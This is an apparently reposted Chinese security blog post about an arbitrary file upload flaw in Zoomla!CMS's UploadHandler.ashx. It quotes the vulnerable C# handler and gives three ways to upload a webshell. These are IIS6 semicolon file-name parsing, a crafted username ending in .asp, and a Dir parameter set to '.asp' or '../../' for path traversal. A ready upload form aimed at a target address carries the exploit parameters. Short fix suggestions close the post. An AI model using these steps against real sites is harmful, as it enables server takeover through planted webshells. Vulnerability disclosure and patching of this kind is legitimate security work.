文件目录随意保存影响版本:包含此文件的版本均受影响 拿Shell影响版本:包含此文件的版本均受影响 仅是(IIS6.0) 依官网最新版本为测试对象 Zoomla!CMS2_x1.5   首先还是问题出现的部分    文件 \User\UploadHandler.ashx     看代码-------------  

HttpPostedFile file = context.Request.Files["Filedata"];

        if (context.Request["content"] != null || context.Request["content"] != "0")

        {



            context.Response.ContentType = "text/plain";

            context.Response.Charset = "utf-8";

            string PhPath = "";

            context.Response.Write(context.Server.UrlDecode(context.Request["Dir"]));

            string path = HttpContext.Current.Server.MapPath("\\" + SiteConfig.SiteOption.UploadDir + "\\") + uinfo.UserName + "\\" + context.Server.UrlDecode(context.Request["Dir"]) + "\\";





            PhPath = path;

            if (file != null)

            {

                if (!Directory.Exists(path))

                {

                    Directory.CreateDirectory(path);

                }

                string[] str = file.FileName.Split('.');

                if (str.Length > 0)

                {

                   ######### //path += DateTime.Now.ToString("yyyyMMddHHmmssfffffff") + "." + str[str.Length - 1];

                    path += file.FileName;

                    file.SaveAs(path);

                }

                //throw new Exception(path.Replace(PhPath, "\\UploadFiles"));

                //上传成功后让上传队列的显示自动消失

                context.Response.Write(path.Replace(PhPath, "").Replace('\\', '/'));

            }

            else

            {

                context.Response.Write("0");

            }

        }

 

    问题出现在 path中 有三个地方存在危险 一个是 uinfo.UserName 一个是 context.Request["Dir"] 还有一个则是 path += file.FileName; file.SaveAs(path);           首先第一种方式   则是 则是尼玛直接利用IIS解析 漏洞 xxx. aspx;.jpg    敢问官方 ######### //path += DateTime.Now.ToString("yyyyMMddHHmmssfffffff") + "." + str[str.Length - 1];     这个事干吊用的?   图:   逐浪CMS一个漏洞的各种拿Shell姿势(系统环境限制插图

    那么首先用第二种方式 uinfo.UserName 用户名的方式进行shell   注册-----》   注:这里不能注册.aspx的用户 原因在golbal中 代码片段如下  

if (((base.Application["safeDomain"] != null) && 

!string.IsNullOrEmpty(base.Application["safeDomain"].ToString())) && 

(base.Request.RawUrl.ToLower().Contains(".aspx") ------------这里

&& !ZoomlaSecurityCenter.IsSafeDomain(base.Application["safeDomain"].ToString().ToLower())))

 

    先登录   本地创建一个.aspx代码片段如下  

<form id="form1" runat="server" method="post" action="http://192.168.10.19:9992/User/UploadHandler.ashx?content=aaaaaaaaa&Dir=abc">

<div>

<asp:FileUpload ID="Filedata" runat="server" /><input id="Submit1" type="submit" value="submit" />



</div>

</form>

 

    然后上传得到文件 访问地址则为 Domain/UploadFiles/用户名/abc/文件名   Shell到手        图: 逐浪CMS一个漏洞的各种拿Shell姿势(系统环境限制插图1 逐浪CMS一个漏洞的各种拿Shell姿势(系统环境限制插图2   开启第三种方式 利用目录       本地创建一个.aspx代码片段如下   <form id="form1" runat="server" method="post" action="http://192.168.10.19:9992/User/UploadHandler.ashx?content=aaaaaaaaa&Dir=abc">   <div>   <asp:FileUpload ID="Filedata" runat="server" /><input id="Submit1" type="submit" value="submit" />       </div>   </form>     Dir则为目录参数   那么可以简单的构造成   http://192.168.10.19:9992/User/UploadHandler.ashx?content=aaaaaaaaa&Dir=.asp       上传得到SHell 地址为Domain/UploadFiles/用户名/.asp/文件名   图   逐浪CMS一个漏洞的各种拿Shell姿势(系统环境限制插图3 另外文件可以随意保存 只要将目录更改为http://192.168.10.19:9992/User/UploadHandler.ashx?content=aaaaaaaaa&Dir=../../   即可(保存到根目录) 逐浪CMS一个漏洞的各种拿Shell姿势(系统环境限制插图4 修复方案: 解决第一种方式---这个 这个明明有为何不用?   //path += DateTime.Now.ToString("yyyyMMddHHmmssfffffff") + "." + str[str.Length - 1];     去掉前两个斜线然后将path += file.FileName;注释掉即可       第二种方式对注册用户名过滤严谨       第三种方式 兄台用uploadify 你也不说改改代码 Dir 咱能不直接用uploadify传过来的folder吗 

    上一篇: 逐浪cms SQL注入 - 网站安全 - 自学php

    下一篇: 逐浪分站留言板XSS - 网站安全 - 自学php
本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了,原文地址《逐浪CMS一个漏洞的各种拿Shell姿势(系统环境限制
   

还没有人抢沙发呢~